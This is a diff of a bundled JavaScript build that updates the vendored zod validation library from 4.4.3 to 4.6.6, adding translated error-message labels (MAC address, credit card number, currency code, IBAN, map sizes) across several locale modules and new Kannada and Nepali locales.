{ string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61744,12 +63311,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61818,17 +63389,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61854,12 +63426,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61927,17 +63503,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61963,12 +63540,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62035,17 +63616,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62071,12 +63653,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62148,17 +63734,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62184,12 +63771,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62259,22 +63850,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62300,12 +64008,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62376,11 +64088,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62394,7 +64106,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62495,12 +64207,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62580,17 +64296,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62616,12 +64333,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62690,17 +64411,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62726,12 +64448,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62798,17 +64524,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: "IPv6 \u0926\u093E\u092F\u0930\u093E", + base64: "base64-\u0907\u0928\u094D\u0915\u094B\u0921 \u0917\u0930\u093F\u090F\u0915\u094B \u0938\u094D\u091F\u094D\u0930\u093F\u0919", + base64url: "base64url-\u0907\u0928\u094D\u0915\u094B\u0921 